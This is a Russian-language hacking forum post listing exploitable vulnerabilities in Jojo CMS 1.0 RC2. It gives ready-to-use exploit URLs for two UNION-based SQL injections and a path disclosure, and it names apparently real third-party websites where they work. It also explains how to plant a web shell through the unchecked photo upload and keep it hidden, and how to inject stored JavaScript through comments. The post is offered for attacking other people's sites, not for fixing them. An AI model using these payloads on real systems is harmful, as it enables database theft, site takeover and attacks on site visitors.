Показать сообщение отдельно

  #7  
Старый 01.03.2010, 18:36
_iks_
Познающий
Регистрация: 21.02.2009
Сообщений: 54
С нами: 9061820

Репутация: 134
По умолчанию

Jojo CMS 1.0 Release Candidate 2

Официальный сайт:
http://www.jojocms.org/
Последняя версия: Jojo CMS 1.0 Release Candidate 2(релиз 28 сентября 2009)
1)SQL-Injection

Требования:

отсутствуют.

Путь до уязвимого скрипта:

../gelato/index.php

Эксплуатация(по умолчанию админские данные лежат в таблице "gel_users"):
Код:
http://127.0.0.1/gelato/gelato/index.php?post=100500+union+select+1,concat%28user%28%29,0x3a,version%28%29,0x3a,database%28%29%29,3,4,5,6,7+--+
Реальный сайт:

Код:
http://jazzfaggot.ru/index.php?post=100500+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7+--+
Причина возникновения уязвимости:
ошибка в логике проверки получаемых данных.


PHP код:
        if (isset($_GET["post"])) {
                
$id_post $_GET["post"];
                if (!
is_numeric($id_post) && $id_post ){    //достаточно выполнить только одно условие, для того чтобы пройти проверку на корректность
                    
header("Location: index.php");
                }
        } else {
                if (isset(
$param_url[1]) && $param_url[1]=="post") {
                        
$id_post = (isset($param_url[2])) ? ((is_numeric($param_url[2])) ? $param_url[2] : NULL) : NULL;
                } else {
                        
$id_post NULL;
                }
        } 
2) SQL-Injection(админка)

Требования:
доступ к администраторской панели
Путь до уязвимого скрипта:
../gelato/gelato/admin/user.php

Эксплуатация:
Код:
http://127.0.0.1/gelato/gelato/admin/user.php?edit=2+union+select+1,2,3,4,5,6,7
Причина возникновения уязвимости:

полное отсутствие фильтрации.
3)Path dislocure:

Требования:
вывод ошибок.
Путь до уязвимого скрипта:

../gelato/index.php
Эксплуатация:
Код:
http://127.0.0.1/gelato/gelato/index.php?post[]=100500
Реальный сайт:

Код:
http://madsc.iz.rs/index.php?post[]=8
4)Заливка шелла

Требования:
доступ в админку.

Путь до уязвимого скрипта:

../gelato/admin/index.php
Код уязвимого скрипта:
PHP код:
if ($_POST["type"]=="2") { //слово "photo" переводится в числовой аналог скриптом, проинклюженным до этого            
     
if (isset($_POST["url"]) && $_POST["url"]!="")  {            
          
$photoName getFileName($_POST["url"]);    //проверки на расширение нет-с
          
if (!$tumble->savePhoto($_POST["url"])) {
               
header("Location: ".$conf->urlGelato."/admin/index.php?photo=false");
               die();
     }
$_POST["url"] = "../uploads/".sanitizeName($photoName);    } 
PHP код:
[B
Эксплуатация:
http://127.0.0.1/gelato/gelato/admin/index.php?new=photo

В качестве фотографии выбираете ваш шелл, любое расширение, создаёте пост. Шелл будет загружен в папку uploads.

Для того чтобы не спалить шелл на главной странице удалите ваш пост, шелл при этом удалён не будет.

Также уязвим модуль загрузки фотографии\музыки\видео\ит .[/I]

Причина возникновения уязвимости:

отсутствие проверки на расширение.
5)Активная XSS

Требования:

включена возможность комментирования.

Путь до уязвимого скрипта:

../gelato/index.php
Уязвимое поле:

<textarea name="content" id="content" cols="100" rows="10" tabindex="4"></textarea>

Эксплуатация:
занесите в уязвимое поле ваш java-script, предварительно закрыв тэг(">)

Сайт с алертом: http://madsc.iz.rs/index.php/post/37
.
 
Ответить с цитированием